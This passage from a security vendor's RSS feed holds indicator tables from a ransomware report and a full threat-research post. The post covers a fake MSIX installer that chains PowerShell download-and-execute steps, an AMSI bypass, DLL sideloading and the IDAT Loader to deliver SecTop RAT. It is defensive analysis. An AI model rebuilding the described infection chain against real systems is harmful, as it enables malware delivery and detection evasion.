address</td></tr><tr><td>94.156.65[.]115</td><td>C2 address</td></tr><tr><td>94.156.65[.]98</td><td>C2 address</td></tr><tr><td>94.156.67[.]185</td><td>C2 address</td></tr><tr><td>94.156.67[.]188</td><td>C2 address</td></tr><tr><td>94.156.67[.]83</td><td>C2 address</td></tr><tr><td>94.158.244[.]32</td><td>C2 address</td></tr></tbody></table><h3>Host Based Indicators (HBIs)</h3><table cols="3" colWidths="250,250,250"><thead><tr><th>File</th><th>SHA256</th><th>Notes</th></tr></thead><tbody><tr><td>DellAPC.exe</td><td>8b1946e3e88cff3bee6b8a2ef761513fb82a1c81f97a27f959c08d08e4c75324</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>DellCTSW2.exe</td><td>N/A</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>DellCTSWin.exe</td><td>2ee435033d0e2027598fc6b35d8d6cbca32380eb4c059ba0806b9cfb1b4275cc</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>DellPPem.exe</td><td>4b618892c9a397b2b831917264aaf0511ac1b7e4d5e56f177217902daab74a36</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>DellPRT.exe</td><td>725aa783a0cd17df603fbe6b11b5a41c9fbfd6fc9e4f2e468c328999e5716faa</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>KeePassDR.exe</td><td>c9042a7ed34847fee538c213300374c70c76436ee506273b35282c86a11d9e6a</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>NVDisplay.Contain64.exe</td><td>35161a508dfaf8e04bb6de6bc793a3840a05f2c04bbbbf8c2237abebe8e670aa</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>NVDisplay.Container64.exe</td><td>8bc39017b1ea59386f74d7c7822063b3b00315dd317f55ddc6634bde897c45c1</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>NVDisplay.exe</td><td>bbdf350c6ae2438bf14fc6dc82bb54030abf9da0c948c485e297330e08850575</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>OktaServiceAgent.exe</td><td>28e5ee69447cea77eee2942c04009735a199771ba64f6bce4965d674515d7322</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>OktaServiceAgent.exe</td><td>f36e9dec2e7c574c07f3c01bbbb2e8a6294e85863f4d6552cccb71d9b73688ad</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVault.exe</td><td>242b2c948181f8c2543163c961775393220d128ecb38a82fa62b80893f209cab</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVault.exe</td><td>9be715df88024582eeabdb0a621477e04e2cf5f57895fa6420334609138463b9</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVaultConf.exe</td><td>8b0d04f65a6a5a3c8fb111e72a1a176b7415903664bc37f0a9015b85d3fc0aa7</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVaultL.exe</td><td>169ef0e828c3cd35128b0e8d8ca91fbf54120d9a2facf9eb8b57ea88542bc427</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVaultLP.exe</td><td>N/A</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVaultSec.exe</td><td>61214a7b14d6ffb4d27e53e507374aabcbea21b4dc574936b39bec951220e7ea</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVaultSecs.exe</td><td>51af3d778b5a408b725fcf11d762b0f141a9c1404a8097675668f64e10d44d64</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>PDMVaultTest.exe</td><td>96ea33a5f305015fdd84bea48a9e266c0516379ae33321a1db16bc6fabad5679</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>ServerController.exe</td><td>02330e168d4478a4cd2006dd3a856979f125fd30f5ed24ee70a41e03e4c0d2f8</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>SgrmBroker.exe</td><td>8834ec9b0778a08750156632b8e74b9b31134675a95332d1d38f982510c79acb</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMImportHost.exe</td><td>c8a982e2be4324800f69141b5be814701bcc4167b39b3e47ed8908623a13eb10</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMImportHost2.exe</td><td>47ec3a1ece8b30e66afd6bb510835bb072bbccc8ea19a557c59ccdf46fe83032</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMImportHost3.exe</td><td>9bd3c7eff51c5746c21cef536971cc65d25e3646533631344728e8061a0624cb</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMSAdmin.exe</td><td>f89720497b810afc9666f212e8f03787d72598573b41bc943cd59ce1c620a861</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMSAdminUtil.exe</td><td>ca05485a1ec408e2f429e2e377cc5af2bee37587a2eb91dc86e8e48211ffc49e</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMSAdminUtilityUp.exe</td><td>972ca168f7a8cddd77157e7163b196d1267fe2b338b93dabacc4a681e3d46b57</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMSBackupConfig.exe</td><td>1576f71ac41c4fc93c8717338fbc2ba48374894345c33bdf831b16d0d06df23d</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>VMSBackupUpdate.exe</td><td>a5dfc9c326b1303cc1323c286ecd9751684fb1cd509527e2f959fb79e5a792c2</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>dp_agent.exe</td><td>13B2E749EB1E45CE999427A12BB78CBEBC87C415685315C77CDFB7F64CB9AAB0</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>local.exe</td><td>bd4abc70de30e036a188fc9df7b499a19a0b49d5baefc99844dfdec6e70faf75</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>lr_agent.exe</td><td>d95f6dec32b4ebed2c45ecc05215e76bf2f520f86ad6b5c5da1326083ba72e89</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>ntfrss.exe</td><td>f36089675a652d7447f45c604e062c2a58771ec54778f6e06b2332d1f60b1999</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>op_agent.exe</td><td>17e0005fd046e524c1681304493f0c51695ba3f24362a61b58bd2968aa1bd01a</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>pp.txt</td><td>N/A</td><td>Notable naming scheme</td></tr><tr><td>pr_agent.exe</td><td>d27f9c0d761e5e1de1a741569e743d6747734d3cdaf964a9e8ca01ce662fac90</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>python311.dll</td><td>CD7D59105B0D0B947923DD9ED371B9CFC2C2AA98F29B2AFBDCD3392AD26BDE94</td><td>Malicious DLL sideloaded by setup.exe. Compiled 2024-03-05. Original name: python311_WinSCP.dll.</td></tr><tr><td>python311.dll</td><td>02D8E4E5F74D38C8E1C9AD893E0CEC1CC19AA08A43ECC87AC043FA825382A583</td><td>Malicious DLL sideloaded by setup.exe. Compiled 2024-04-03. Original name: python311_WinSCP.dll.</td></tr><tr><td>python311.dll</td><td>500574522DBCDE5E6C89803C3DCA7F857F73E0868FD7F8D2F437F3CC31CE9E8D</td><td>Malicious DLL sideloaded by setup.exe. Compiled 2024-04-10. Original name: python311_Putty.dll.</td></tr><tr><td><em>-redacted-</em>.exe</td><td>a1cb8761dd8e624d6872960e1443c85664e9fbf24d3e208c3584df49bbdb2d9c</td><td>Ransomware, named after the impacted domain.</td></tr><tr><td>readme.txt</td><td>N/A</td><td>Ransom note</td></tr><tr><td>resticORIG.exe</td><td>33f6acd3dfeda1aadf0227271937c1e5479c2dba24b4dca5f3deccc83e6a2f04</td><td>Exfil tool dropped by the threat actor</td></tr><tr><td>rr__agent.exe</td><td>d94ed93042d240e4eaac8b1b397abe60c6c50a5ff11e62180a85be8aa0b0cc4a</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>truesight.sys</td><td>bfc2ef3b404294fe2fa05a8b71c7f786b58519175b7202a69fe30f45e607ff1c</td><td><a href="https://github.com/MaorSabag/TrueSightKiller">AV/EDR killer</a>, used to facilitate the execution of ransomware.</td></tr><tr><td>veeam.backups.shell.exe</td><td>7d53122d6b7cff81e1c5fcdb3523ccef1dbd46c93020a0de65bc475760faff7d</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>vmtools.exe</td><td>ED501E49B9418FCFAF56A2EFF7ADCF85A648BDEE2C42BB09DB8C11F024667BFA</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>vmtoolsda.exe</td><td>12AFBEC79948007E87FDF9E311736160797F245857A45C040966E8E029CA97B3</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>vmtoolsdr.exe</td><td>989A8E6A01AA20E298B1FFAE83B50CEF3E08F6B64A8F022288DC8D5729301674</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>vmtoolsds.exe</td><td>0AA248300A9F6C498F5305AE3CB871E9EC78AE62E6D51C05C4D6DD069622F442</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>vmtoolsdt.exe</td><td>DF0213E4B784A7E7E3B4C799862DB6EA60E34D8E22EB5E72A980A8C2E9B36177</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>DellPP.exe</td><td>51D898DE0C300CAE7A57C806D652809D19BEB3E52422A7D8E4CB1539A1E2485D</td><td>Dropped by the threat actor post compromise</td></tr><tr><td>DellPP2.exe</td><td>8827B6FA639AFE037BB2C3F092CCB12D49B642CE5CEC496706651EBCB23D5B9E</td><td>Dropped by threat actor post compromise</td></tr><tr><td>data.aes</td><td>F18367D88F19C555F19E3A40B17DE66D4A6F761684A5EF4CDD3D9931A6655490</td><td>Encrypted Sliver beacon</td></tr><tr><td>data.aes</td><td>C33975AA4AB4CDF015422608962BD04C893F27BD270CF3F30958981541CDFEAD</td><td></td></tr><tr><td>Encrypted Sliver beacon</td><td></td><td></td></tr><tr><td>data.aes</td><td>868CD4974E1F3AC7EF843DA8040536CB04F96A2C5779265A69DF58E87DC03029</td><td>Encrypted Sliver beacon</td></tr><tr><td>systemd.py</td><td>69583C4A9BF96E0EDAFCF1AC4362C51D6FF71BBA0F568625AE65A1E378F15C65</td><td>Sliver beacon loader</td></tr><tr><td>systemd.py</td><td>03D18441C04F12270AAB3E55F68284DCD84721D1E56B32F8D8B732A52A654D2D</td><td>Sliver beacon loader</td></tr><tr><td>systemd.py</td><td>CF82366E319B6736A7EE94CCA827790E9FDEDFACE98601F0499ABEE61F613D5D</td><td>Sliver beacon loader</td></tr></tbody></table><div><h4>NEVER MISS AN EMERGING THREAT</h4><p>Be the first to learn about the latest vulnerabilities and cybersecurity news.</p><a href="#">Subscribe Now</a></div>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/05/13/ongoing-malvertising-campaign-leads-to-ransomware</link>
      <guid isPermaLink="false">blt7926174598e74395</guid>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Ransomware]]></category><dc:creator><![CDATA[Tyler McGraw]]></dc:creator>
      <pubDate>Mon, 13 May 2024 19:17:27 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad99804c50d600bf/683de929c26e070e2928ea22/GettyImages-1455658894.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Stories from the SOC Part 2: MSIX Installer Utilizes Telegram Bot to Execute IDAT Loader]]></title>
      <description><![CDATA[<p>Rapid7’s Managed Detection and Response (MDR) team continuously monitors our customers' environments, identifying emerging threats and developing new detections.</p><p>In August 2023, Rapid7 identified a new malware loader named the <a href="/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">IDAT Loader.</a> Malware loaders are a type of malicious software designed to deliver and execute additional malware onto a victim's system. What made the IDAT Loader unique was the way in which it retrieved data from PNG files, searching for offsets beginning with 49 44 41 54 (IDAT).</p><p>In part one of our blog series, we discussed how a Rust based application was used to download and execute the IDAT Loader. In part two of this series, we will be providing analysis of how an MSIX installer led to the download and execution of the IDAT Loader.</p><p>While utilization of MSIX packages by threat actors to distribute malicious code is not new, what distinguished this incident was the attack flow of the compromise. Based on the recent tactics, techniques and procedures observed (TTPs), we believe the activity is associated with financially motivated threat groups.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt72afc04ed54c0c32/683ddcd730073e6f15eb1702/Screenshot-2024-04-09-at-1.45.57-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-04-09-at-1.45.57-PM.png" asset-alt="Screenshot-2024-04-09-at-1.45.57-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt72afc04ed54c0c32/683ddcd730073e6f15eb1702/Screenshot-2024-04-09-at-1.45.57-PM.png" data-sys-asset-uid="blt72afc04ed54c0c32" data-sys-asset-filename="Screenshot-2024-04-09-at-1.45.57-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-04-09-at-1.45.57-PM.png" sys-style-type="display"/></figure><p></p><h2>MSIX Installers</h2><p>In January of 2024, Red Canary <a href="https://redcanary.com/blog/msix-installers/">released an article</a> attributing different threat actors to various deployments of malicious MSIX installers. The MSIX installers employed a variety of techniques to deliver initial payloads onto compromised systems.</p><p>All the infections began with users navigating to typo squatted URLs after using search engines to find specific software package downloads. Typo squatting aka URL hijacking is a specific technique in which threat actors register domain names that closely resemble legitimate domain names in order to deceive users. Threat actors mimic the layout of the legitimate websites in order to lure the users into downloading their initial payloads.</p><p>Additionally, threat actors utilize a technique known as SEO poisoning, enabling the threat actors to ensure their malicious sites appear near the top of search results for users.</p><p></p><h2>Technical Analysis</h2><h3>Typo Squatted Malvertising</h3><p></p><p>In our most recent incident involving the IDAT Loader, Rapid7 observed a user downloading an installer for an application named ‘Room Planner’ from a website posing as the legitimate site. The user was searching Google for the application ‘Room Planner’ and clicked on the URL <em><strong>hxxps://roomplannerapp.cn[.]com</strong></em><em>. </em>Upon user interaction, the users browser was directed to download an MSIX package, <strong><em>Room_Planner-x86.msix</em></strong><strong> </strong>(SHA256: 6f350e64d4efbe8e2953b39bfee1040c8b041f6f212e794214e1836561a30c23).</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2735ce0ab88281d0/683ddd0818a5532d7f686ed9/Screenshot-2024-04-09-at-1.57.22-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-04-09-at-1.57.22-PM.png" asset-alt="Screenshot-2024-04-09-at-1.57.22-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2735ce0ab88281d0/683ddd0818a5532d7f686ed9/Screenshot-2024-04-09-at-1.57.22-PM.png" data-sys-asset-uid="blt2735ce0ab88281d0" data-sys-asset-filename="Screenshot-2024-04-09-at-1.57.22-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-04-09-at-1.57.22-PM.png" sys-style-type="display"/></figure><p></p><h3>PowerShell Scripts</h3><p></p><p>During execution of the MSIX file, a PowerShell script, <em><strong>1.ps1 </strong></em>, was dropped into the folder path <em><strong>C:\Program Files\WindowsApps\RoomPlanner.RoomPlanner_7.2.0.0_x86__s3garmmmnyfa0\</strong></em><em> </em>and executed. Rapid7 determined that it does the following:</p><ul><li>Obtain the IP address of the compromised asset</li><li>Send the IP address of the compromised asset to a Telegram bot</li><li>Retrieve an additional PowerShell script that is hosted on the Telegram bot</li><li>Delete the message containing the IP address of the compromised asset</li><li>Invoke the PowerShell script retrieved from the Telegram bot</li></ul><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4d104413d72ae5b9/683ddd32c26e070eba28e644/Screenshot-2024-04-09-at-1.59.10-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-04-09-at-1.59.10-PM.png" asset-alt="Screenshot-2024-04-09-at-1.59.10-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4d104413d72ae5b9/683ddd32c26e070eba28e644/Screenshot-2024-04-09-at-1.59.10-PM.png" data-sys-asset-uid="blt4d104413d72ae5b9" data-sys-asset-filename="Screenshot-2024-04-09-at-1.59.10-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-04-09-at-1.59.10-PM.png" sys-style-type="display"/></figure><p></p><p>In a controlled environment, Rapid7 visited the Telegram bot hosting the next stage PowerShell script and determined that it did the following:</p><ul><li>Retrieve the IP address of the compromised asset by using Invoke-RestMethod which retrieved data from the domain icanhazip[.]com</li><li>Enumerate the compromised assets Operating System, domain and AV products</li><li>Send the information to the Telegram bot</li><li>Create a randomly generated 8 character name, assigning it to the variable $JAM</li><li>Download a gpg file from URL <em><strong>hxxps://read-holy-quran[.]group/ld/cr.tar.gpg</strong></em>, saving the file to %APPDATA% saving it as the name assigned to the $JAM variable</li><li>Decrypt the contents of the gpg file using the passphrase ‘riudswrk’, saving them into a newly created folder named after the $JAM variable within <em><strong>C:\ProgramData\$JAM\cr\</strong></em> as a .RAR archive file</li><li>Utilize tar to unarchive the RAR file</li><li>Start an executable named run.exe from within the newly created folder</li><li>Create a link (.lnk) file within the Startup folder, named after the randomly generated name stored in variable $JAM, pointing towards run.exe stored in file path <em><strong>C:\ProgramData\$JAM\cr\ </strong></em>in order to create persistence</li><li>Read in another PowerShell script hosted on a Pastebin site, <em><strong>hxxps://pastebin.pl/view/raw/a137d133</strong></em> using <em><strong>downloadstring</strong></em> and execute its contents (the PowerShell script is a tool used to bypass AMSI) with <em><strong>IEX (Invoke-Expression)</strong></em></li><li>Download data from URL <em><strong>hxxps://kalpanastickerbindi[.]com/1.jpg</strong></em> and reflectively load the contents and execute the program starting at function EntryPoint (indicating the downloaded data is a .NET Assembly binary)</li></ul><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt57a5b3e9588ef346/683ddd582a9b68eec12bd161/Screenshot-2024-04-09-at-2.00.23-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-04-09-at-2.00.23-PM.png" asset-alt="Screenshot-2024-04-09-at-2.00.23-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt57a5b3e9588ef346/683ddd582a9b68eec12bd161/Screenshot-2024-04-09-at-2.00.23-PM.png" data-sys-asset-uid="blt57a5b3e9588ef346" data-sys-asset-filename="Screenshot-2024-04-09-at-2.00.23-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-04-09-at-2.00.23-PM.png" sys-style-type="display"/></figure><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt935aa29664319342/683ddd7c6b437b8a964fa520/Screenshot-2024-04-09-at-2.00.55-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-04-09-at-2.00.55-PM.png" asset-alt="Screenshot-2024-04-09-at-2.00.55-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt935aa29664319342/683ddd7c6b437b8a964fa520/Screenshot-2024-04-09-at-2.00.55-PM.png" data-sys-asset-uid="blt935aa29664319342" data-sys-asset-filename="Screenshot-2024-04-09-at-2.00.55-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-04-09-at-2.00.55-PM.png" sys-style-type="display"/></figure><p></p><p>After analysis of the AMSI (Anti Malware Scan Interface) bypass tool, we observed that it was a custom tool giving credit to a website, <em><strong>hxxps://rastamosue[.]memory-patching-amsi-bypass,</strong></em> which discusses how to create a program that can bypass AMSI scanning.</p><p>AMSI is a scanning tool that is designed to scan scripts for potentially malicious code after a scripting engine attempts to run the script. If the content is deemed malicious, AMSI will tell the scripting engine (in this case PowerShell) to not run the code.</p><p></p><h3>RAR Contents</h3><p>Contained within the RAR file were the following files:</p><p></p><table cols="2" colWidths="250,250"><thead><tr><th>Files</th><th>Description</th></tr></thead><tbody><tr><td>Dharna.7z</td><td>File contains the encrypted IDAT Loader config</td></tr><tr><td>Guar.xslx</td><td>File contains random bytes, not used during infection</td></tr><tr><td>Run.exe</td><td>Renamed WebEx executable file, used to sideload DLL WbxTrace.dll</td></tr><tr><td>Msvcp140.dll</td><td>Benign DLL read by Run.exe</td></tr><tr><td>PtMgr.dll</td><td>Benign DLL read by Run.exe</td></tr><tr><td>Ptusredt.dll</td><td>Benign DLL read by Run.exe</td></tr><tr><td>Vcruntime140.dll</td><td>Benign DLL read by Run.exe</td></tr><tr><td>Wbxtrace.dll</td><td>Corrupted WebEx DLL containing IDAT Loader</td></tr><tr><td>WCLDll.dll</td><td>Benign WebEx DLL read by Run.exe</td></tr></tbody></table><p></p><p>After analysis of the folder contents, Rapid7 determined that one of the DLLs, <em><strong>wbxtrace.dll</strong></em>, had a corrupted signature, indicating that its original code was tampered with. After analyzing the modified WebEx DLL, <em><strong>wbxtrace.dll</strong></em>, Rapid7 determined the DLL contained suspicious functions similar to the IDAT Loader.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltede7a66da595bf75/683ddda32a7686829dbc8391/Screenshot-2024-04-09-at-2.03.00-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-04-09-at-2.03.00-PM.png" asset-alt="Screenshot-2024-04-09-at-2.03.00-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltede7a66da595bf75/683ddda32a7686829dbc8391/Screenshot-2024-04-09-at-2.03.00-PM.png" data-sys-asset-uid="bltede7a66da595bf75" data-sys-asset-filename="Screenshot-2024-04-09-at-2.03.00-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-04-09-at-2.03.00-PM.png" sys-style-type="display"/></figure><p></p><p>Upon extracting the contents of the RAR file to the directory path <em><strong>C:\ProgramData\</strong></em><em>cr</em>, the PowerShell script executes the <em>run.exe</em> executable.</p><p></p><h3>The IDAT Loader</h3><p></p><p>During execution of<strong> </strong><strong><em>run.exe</em></strong><strong> </strong>(a legitimate renamed WebEx executable), the executable sideloads the tampered WebEx DLL, <em><strong>wbxtrace.dll</strong></em>. Once the DLL <em><strong>wbxtrace.dll</strong></em> is loaded,<em> </em>the DLL executes a section of new code containing the IDAT Loader, which proceeds to read in contents from within <em><strong>dharna.7z</strong></em>.</p><p>After reading in the contents from<strong> </strong><strong><em>dharna.7z</em></strong><strong>,</strong> the IDAT Loader searches for the offset <em><strong>49 44 41 54 (IDAT)</strong></em> followed by<strong> </strong><strong><em>C6 A5 79 EA</em></strong>. After locating this offset, the loader reads in the following 4 bytes,<strong> </strong><strong><em>E1 4E 91 99</em></strong>, which are used as the decryption key for decrypting the rest of the contents. Contained within the decrypted contents are additional code, specific DLL and Executable file paths as well as the final encrypted payload that is decrypted with a 200 byte XOR key.</p><p>The IDAT loader employs advanced techniques such as <a href="https://attack.mitre.org/techniques/T1055/013/">Process Doppelgänging</a> and the <a href="https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-1-62cca0ace6f0">Heaven’s Gate technique</a> in order to initiate new processes and inject additional code. This strategy enables the loader to evade antivirus detections and successfully load the final stage, <em><strong>SecTop RAT</strong></em><em> </em>into the newly created process, <strong><em>msbuild.exe</em></strong><strong>.</strong></p><p>We recently developed a configuration extractor capable of decrypting the final payload concealed within the encrypted files containing the <em><strong>IDAT (49 44 41 54)</strong></em> sections. The configuration extractor can be found on our Rapid7 Labs github page.</p><p>After using the configuration extractor, we analyzed the <em><strong>SecTop RAT</strong></em> and determined that it communicates with the IP address <em><strong>91.215.85[.]66</strong></em>.</p><p></p><h2>Rapid7 Customers</h2><p></p><p>InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity described:</p><ul><li>Attacker Technique - Advanced Installer .MSI Executable Spawns Powershell</li><li>Suspicious Process - Execution From Root of ProgramData</li><li>Suspicious Process - PowerShell Uncommon Upper And Lower Case Combinations</li><li>Suspicious Process - explorer.exe in Non-Standard Location</li></ul><p></p><h2>MITRE ATT&CK Techniques</h2><p></p><table cols="3" colWidths="250,250,250"><thead><tr><th>Tactics</th><th>Techniques</th><th>Details</th></tr></thead><tbody><tr><td>Execution</td><td>Command and Scripting Interpreter: PowerShell (T1059.001)</td><td>1.ps1 is used to fingerprint compromised machine and execute additional PowerShell scripts</td></tr><tr><td>Execution</td><td>Native API (T1106)</td><td>The IDAT injector and IDAT loader are using Heaven’s Gate technique to evade detection</td></tr><tr><td>Execution</td><td>User Execution: Malicious File (T1204.002)</td><td>User executes the binary Room_Planner-x86.msix</td></tr><tr><td>Defense Evasion</td><td>Masquerading: Match Legitimate Name or Location (T1036.005)</td><td>Malicious MSIX masquerades as legitimate Room Planner installer</td></tr><tr><td>Defense Evasion</td><td>Deobfuscate/Decode Files or Information (T1140)</td><td>gpg.exe used to decrypt cr.tar.gpg</td></tr><tr><td>Defense Evasion</td><td>Hijack Execution Flow: DLL Search Order Hijacking (T1574.001)</td><td>run.exe loads a malicious wbxtrace.dll</td></tr><tr><td>Defense Evasion</td><td>Reflective Code Loading (T1620)</td><td>PowerShell script loads a binary hosted at kalpanastickerbindi[.]com/1.jpg</td></tr><tr><td>Defense Evasion</td><td>Process Injection (T1055)</td><td>IDAT injector implements NtCreateSection + NtMapViewOfSection Code Injection technique to inject into cmd.exe process</td></tr><tr><td>Defense Evasion</td><td>Process Injection: Process Doppelgänging (T1055.013)</td><td>IDAT loader implements Process Doppelgänging technique to load the SecTop RAT</td></tr><tr><td>Defense Evasion</td><td>Virtualization/Sandbox Evasion: Time Based Evasion (T1497.003)</td><td>Execution delays are performed by several stages throughout the attack flow</td></tr></tbody></table><p></p><h2>IOCs</h2><p></p><table cols="3" colWidths="250,250,250"><thead><tr><th>IOC</th><th>Sha256</th><th>Notes</th></tr></thead><tbody><tr><td>Room_Planner-x86.msix</td><td>6f350e64d4efbe8e2953b39bfee1040c8b041f6f212e794214e1836561a30c23</td><td>Initial installer containing PowerShell scripts</td></tr><tr><td>1.ps1</td><td>928bd805b924ebe43169ad6d670acb2dfe45722e17d461ff0394852b82862d23</td><td>Dropped and executed by the Room_Planner-x86.msix</td></tr><tr><td>wbxtrace.dll</td><td>1D0DAF989CF28852342B1C0DFEE05374860E1300106FF7788BBA26D84549B845</td><td>Malicious DLL executed by run.exe, the renamed Cisco Webex binary</td></tr><tr><td>Dharna.7z</td><td>B7469153DC92BF5DE9BF2521D9550DF21BC4574D0D0CFC919FF26D1071C000B2</td><td>Encrypted payload decrypted by wbxtrace.dll</td></tr><tr><td>read-holy-quran[.]group/ld/cr.tar.gpg</td><td></td><td>Hosts GPG file containing RAR file</td></tr><tr><td>kalpanastickerbindi[.]com/1.jpg</td><td></td><td>Hosts .NET executable downloaded from API Bot PowerShell script</td></tr><tr><td>91.215.85[.]66</td><td></td><td>SecTop RAT domain</td></tr></tbody></table><p></p><h2>References</h2><p></p><table cols="2" colWidths="250,250"><thead><tr><th>Article</th><th>URL</th></tr></thead><tbody><tr><td>MSIX installer malware delivery on the rise across multiple campaigns</td><td><a href="https://redcanary.com/blog/msix-installers/">https://redcanary.com/blog/msix-installers/</a></td></tr><tr><td>Process Doppelgänging</td><td><a href="https://malware.news/t/uncovering-the-serpent/76253">https://malware.news/t/uncovering-the-serpent/76253</a></td></tr><tr><td>Analysis of “Heaven’s Gate” part 1</td><td><a href="https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-1-62cca0ace6f0">https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-1-62cca0ace6f0</a></td></tr><tr><td>Fake Update Utilizes New IDAT Loader To Execute StealC and Lumma Infostealers</td><td><a href="/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/</a></td></tr><tr><td>Stories from the SOC Part 1: IDAT Loader to BruteRatel</td><td><a href="/blog/post/2024/03/28/stories-from-the-soc-part-1-idat-loader-to-bruteratel/">https://www.rapid7.com/blog/post/2024/03/28/stories-from-the-soc-part-1-idat-loader-to-bruteratel/</a></td></tr></tbody></table>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/04/10/stories-from-the-soc-part-2-msix-installer-utilizes-telegram-bot-to-execute-idat-loader</link>
      <guid isPermaLink="false">bltb23235eef36c3ca6</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category>
      <category><![CDATA[Incident Detection]]></category><dc:creator><![CDATA[Tom Elkins]]></dc:creator>
      <pubDate>Wed, 10 Apr 2024 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta69232a70b7f6841/683dddc973c845879ee8c288/GettyImages-1493136853.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Stories from the SOC Part 1: IDAT Loader to BruteRatel]]></title>
